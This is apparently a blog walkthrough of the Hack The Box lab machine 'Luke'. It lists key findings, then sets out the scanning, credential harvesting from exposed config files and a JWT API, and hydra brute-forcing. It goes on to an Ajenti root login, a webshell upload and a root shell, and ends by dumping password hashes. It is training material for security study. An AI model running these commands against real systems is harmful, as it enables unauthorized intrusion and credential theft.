Being curious

15 Sep 2019

Luke Hack The Box Walkthrough

Walkthrough of machine Luke from Hack the Box. Key findings include exposed credentials & running a web service as a privileged user.

Luke Banner

Walkthrough of Luke machine from Hack the Box.

Key Findings

Key findings noted from the machine Luke:

  • Privileged credentials were left exposed in files available via HTTP (config.php & config.json). Credentials obtained could be used to gain additional system access. This type of data should not be publicly available.
  • User credentials were available to an authenticated API user. Credential should not be made available in this fashion.
  • Ajenti instance does not have SSL configured. This allows a malicious attacker who can intercept the traffic to observe sensitive data. Finding observed but not used in compromise.
  • Ajenti instance is exposed to the public and running as a privileged user. This allows any user with access to it full access to the system.

Scanning & Enumeration

Nmap was used to complete an initial scan of the host (command: nmap -A -T4 10.10.10.137). Amended outputs shown below, key items highlighted. Scan shows reported instances of

  • FTP: vsftpd 3.0.3+ running on port 21 permitting anonymous logins.
  • SSH: A service running on port 22, not returning any banners
  • HTTP: Instance of Apache 2.4.38 with PHP 7.3.3, http-title of Luke
  • NODEJS: Instance of Node.js framework
  • MANAGEMENT: Ajenti management console running on port 8000.
<SNIP>
21/tcp   open  ftp     vsftpd 3.0.3+ (ext.1)
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 0        0             512 Apr 14 12:35 webapp
<SNIP>
22/tcp   open  ssh?
80/tcp   open  http    Apache httpd 2.4.38 ((FreeBSD) PHP/7.3.3)
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.38 (FreeBSD) PHP/7.3.3
|_http-title: Luke
3000/tcp open  http    Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
8000/tcp open  http    Ajenti http control panel
|_http-title: Ajenti

FTP

Interacting with the FTP service confirms:

  • Anonymous FTP access works. Server is only setup for anonymous access (attempting to login as a normal user returns an error)
  • Anonymous user cannot write files.
  • Text file stored on server (for_Chihiro.txt) – contents shown below:
root@kali2019:~/Documents/Luke# cat for_Chihiro.txt
Dear Chihiro !!

As you told me that you wanted to learn Web Development and Frontend, I can give you a little push by showing the sources of
the actual website I've created .
Normally you should know where to look but hurry up because I will delete them soon because of our security policies !

Derry  

No immediate vulnerabilities identified against reported version of vsftpd.

Outcomes from interaction – two possible usernames identified that may be used: Chihiro, Derry. Both added to usernames file. Implication from the message is Derry has stored some source files for Chihiro to review.

SSH

Interacting with the service on port 22 confirms it is a ssh server. Noticeable delay in obtaining a login prompt and lack of banner suggests why nmap didn’t positively id it.

root@kali2019:~/Documents/Luke# ssh derry@10.10.10.137
The authenticity of host '10.10.10.137 (10.10.10.137)' can't be established.
ECDSA key fingerprint is SHA256:LbqH6pN9E+/eMa5BMN+TXTMjZFHllGjb+51k1DbLsvg.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.10.10.137' (ECDSA) to the list of known hosts.
Password for derry@luke:

Outcomes from interaction. Does not initially appear to be a suitable exploitation point. Delay in login speed would make brute force attempts challenging and lack of banner means identifying suitable exploits will be problematic.

HTTP (1/2)

Loading in a web browser shows a generic HTML5 page.

Luke Web Page

Enumerating the site using gobuster (command: gobuster dir -u http://10.10.10.137 -w /usr/share/seclists/Discovery/Web-Content/common.txt -x .html,.php,.htm,.txt) identifies several candidates to explore. Amended output of command below.

/LICENSE (Status: 200)
/cgi-bin/.htm (Status: 403)
/cgi-bin/.html (Status: 403)
/config.php (Status: 200)
/css (Status: 301)
/index.html (Status: 200)
/index.html (Status: 200)
/js (Status: 301)
/login.php (Status: 200)
/management (Status: 401)
/member (Status: 301)
/vendor (Status: 301)

Outputs from each of the areas of interest:

  • LICENSE in a MIT License file, does not yield anything of interest.
  • member is an empty browsable sub-directory.
  • management is a sub-folder protected by basic http authentication. Returns a realm of ‘Authentification required ! Forbidden to visitors ..’
  • login.php reveals a generic login page. No hints from the page source apart from it being a ‘beta’ system.
  • config.php reveals exposed user credentials. Output of file below. Highlighted items added to username and password file respectively.
$dbHost = 'localhost'; $dbUsername = 'root'; $dbPassword = 'Zk6heYCyv6ZE9Xcg'; $db = "login"; $conn = new mysqli($dbHost, $dbUsername, $dbPassword,$db) or die("Connect failed: %s\n". $conn -> error);

Attempting to utilise gathered usernames and password to access the management subfolder and password failed. Basic brute force (command: hydra -L usernames -P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-100.txt 10.10.10.137 http-post-form “/login.php:Username=^USER^&Password=^PASS^&Submit=Login:Incorrect”) also attempted using 10-million-password-list-top-100.txt password list failed.

NODEJS

Initial inspection of the service shows this to reportedly running the express framework and requiring an auth token to be submitted. This indicates the service being interacted with is an API. Amended output of command (command: curl -v http://10.10.10.137:3000) shown below with key items highlighted.

<SNIP>
< HTTP/1.1 200 OK
< X-Powered-By: Express
< Content-Type: application/json; charset=utf-8
<SNIP>
{"success":false,"message":"Auth token is not supplied"}

Enumerating the service (command: dirb http://10.10.10.137:3000) yields the API methods. Amended output of command shown below with key items highlighted.

<SNIP>
+ http://10.10.10.137:3000/login (CODE:200|SIZE:13)                                                                                                                                                               
+ http://10.10.10.137:3000/Login (CODE:200|SIZE:13)                                                                                                                                                               
+ http://10.10.10.137:3000/users (CODE:200|SIZE:56)                                                                                                                                                               
<SNIP>

Researching and reviewing available hints yielded https://medium.com/@nieldw/using-curl-to-authenticate-with-jwt-bearer-tokens-55b7fac506bd.

From there it was straight-forward to obtain remaining data from the API:

root@kali2019:~/Documents/Luke# curl -s -X POST -H 'Accept: application/json' -H 'Content-Type: application/json' --data '{"username":"admin","password":"Zk6heYCyv6ZE9Xcg"}' http://10.10.10.137:3000/login
{"success":true,"message":"Authentication successful!","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYzNTMyNzU2LCJleHAiOjE1NjM2MTkxNTZ9.WeiuKPa-pinbpIe94iIyb_-LC0Rp4phJXcGpTR-_vKk"}

With the auth token user ids can then be obtained:

root@kali2019:~/Documents/Luke# curl -H 'Accept: application/json' -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYzNTMyNzU2LCJleHAiOjE1NjM2MTkxNTZ9.WeiuKPa-pinbpIe94iIyb_-LC0Rp4phJXcGpTR-_vKk" http://10.10.10.137:3000/users
[{"ID":"1","name":"Admin","Role":"Superuser"},{"ID":"2","name":"Derry","Role":"Web Admin"},{"ID":"3","name":"Yuri","Role":"Beta Tester"},{"ID":"4","name":"Dory","Role":"Supporter"}]

After some experimentation and dead ends the below user ids were identified.

root@kali2019:~/Documents/Luke# curl -H 'Accept: application/json' -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYzNTMyNzU2LCJleHAiOjE1NjM2MTkxNTZ9.WeiuKPa-pinbpIe94iIyb_-LC0Rp4phJXcGpTR-_vKk" http://10.10.10.137:3000/users/Admin
{"name":"Admin","password":"WX5b7)>/rp$U)FW"}

root@kali2019:~/Documents/Luke# curl -H 'Accept: application/json' -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYzNTMyNzU2LCJleHAiOjE1NjM2MTkxNTZ9.WeiuKPa-pinbpIe94iIyb_-LC0Rp4phJXcGpTR-_vKk" http://10.10.10.137:3000/users/Derry
{"name":"Derry","password":"rZ86wwLvx7jUxtch"}

root@kali2019:~/Documents/Luke# curl -H 'Accept: application/json' -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYzNTMyNzU2LCJleHAiOjE1NjM2MTkxNTZ9.WeiuKPa-pinbpIe94iIyb_-LC0Rp4phJXcGpTR-_vKk" http://10.10.10.137:3000/users/Yuri
{"name":"Yuri","password":"bet@tester87"}

root@kali2019:~/Documents/Luke# curl -H 'Accept: application/json' -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYzNTMyNzU2LCJleHAiOjE1NjM2MTkxNTZ9.WeiuKPa-pinbpIe94iIyb_-LC0Rp4phJXcGpTR-_vKk" http://10.10.10.137:3000/users/Dory
{"name":"Dory","password":"5y:!xa=ybfe)/QD"}

The following user ids and passwords updated in the username and password file:

Usernames Passwords
Admin WX5b7)>/rp$U)FW
Derry rZ86wwLvx7jUxtch
Yuri bet@tester87
Dory 5y:!xa=ybfe)/QD

HTTP (2/2)

HTTP service was returned to and new credentials tried.

Attempting to use the identified credentials on the login.php file was not successful. Amended output of command below (command: hydra -L usernames -P passwords 10.10.10.137 -f -t 1 http-post-form “/login.php:Username=^USER^&Password=^PASS^&Submit=Login:Incorrect”)

Hydra v8.8 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2019-07-19 20:51:06
[DATA] max 1 task per 1 server, overall 1 task, 40 login tries (l:8/p:5), ~40 tries per task
[DATA] attacking http-post-form://10.10.10.137:80/login.php:Username=^USER^&Password=^PASS^&Submit=Login:Incorrect
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[STATUS] attack finished for 10.10.10.137 (waiting for children to complete tests)
1 of 1 target completed, 0 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2019-07-19 20:52:23

Attempting to use the identified credentials on the /management/ directory was successful. Amended output of command below (command: hydra -L usernames -P passwords -t 1 -f -vV 10.10.10.137 http-get /management/)

Hydra v8.8 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
<SNIP>
[80][http-get] host: 10.10.10.137   login: Derry   password: rZ86wwLvx7jUxtch
[STATUS] attack finished for 10.10.10.137 (valid pair found)
1 of 1 target successfully completed, 1 valid password found

Of interest in the management directory is a file config.json. This appears to contain the config.json file for the ajenti service running on port 8000. This indicates the username is root and password are KpMasng6S5EtTy9Z. Values added to the respective usernames and passwords files.

Gaining Access & Escalation of Privilege

AJENTI

Service running on port 8000 is an indicate of the ajenti management engine.

Luke Ajenti Login

Utilising the credentials identified at HTTP (2/2) (username – root, password – KpMasng6S5EtTy9Z) login to the instance succeeds.

Luke Ajenti Page

File manager capability in Ajenti used to load a webshell to /usr/local/www/apache24. Accessing it gives a low privilege shell on the system.

Luke First Shell

From examining the system it’s identified the Ajenti instance is running as root. Amended output of command (command: ps -aux) below.

root   742  0.0 11.8 135260 26292  -  S    21:41    3:39.35 /usr/local/bin/python2.7 /usr/local/bin/ajenti-panel -d --config /usr/local/etc/ajenti/config.json

Spawning a terminal using the Ajenti plugin confirms root access.

Luke Root Shell

At this stage user.txt and root.txt obtained.

Post Exploitation

API Secret

API secret obtained from reviewing config.js file.

$ cat config.js
module.exports = {
  secret: 'worldisfullofdevelopers'
};

With this a new auth token can be created (using https://jwt.io/: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.jSCddVJnTeeEbRwoa97SiCKJPw7zHkE63HwivcG01eM) and supplied. Amended output of command below.

This allows for impersonation of users when communicating with the API.

curl -H 'Accept: application/json' -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.jSCddVJnTeeEbRwoa97SiCKJPw7zHkE63HwivcG01eM" http://10.10.10.137:3000/users
[{"ID":"1","name":"Admin","Role":"Superuser"},{"ID":"2","name":"Derry","Role":"Web Admin"},{"ID":"3","name":"Yuri","Role":"Beta Tester"},{"ID":"4","name":"Dory","Role":"Supporter"}]

System Password Hashes

Review of master.passwd reveals the following password hash values. Attempts to crack these has proven unsuccessful.

root:$6$r8L4CDNBRHpmGTF3$O2K/k5Yae9MqXiLcebZIn994qm2mzNTRtKf4SLBAQI/.2oZqu3g8lrurUzMb.szUrEksqUxzFaR7Kpdj/xWlu0:0:0::0:0:Charlie &:/root:/bin/csh derry:$6$S54EUQHAYveEcb8F$SqJOdbXuglnxWej974EQPN067Rj.pwdkGLx1vBxQcqxU1ZgpEliAWWrQ6RghLeQRvhfvUlxsDbhFrOypTlSxH/:1001:1001::0:0:derry:/home/derry:/bin/sh

Mysql Database Dump

Dump of the Mysql database was taken. This required starting the database in the first instance (not detected as running on host normally). Indicates why all attempts at accessing login.php page failed.

Below username and password hashes identified. Attempts to crack these has proven unsuccessful.

|  1 | admin@admin.com    | $2y$10$tiMS2takQBQwSGwaDxSGNO2RiitS/GhvWjKpJA/JKIMDeLr2z7SLm |
|  2 | email123@email.com | $2y$10$9OOFy5W.Vz0VapyS5U.ZqujRiXnklh48Nhc3qGfdSKxLbXRH3i87m |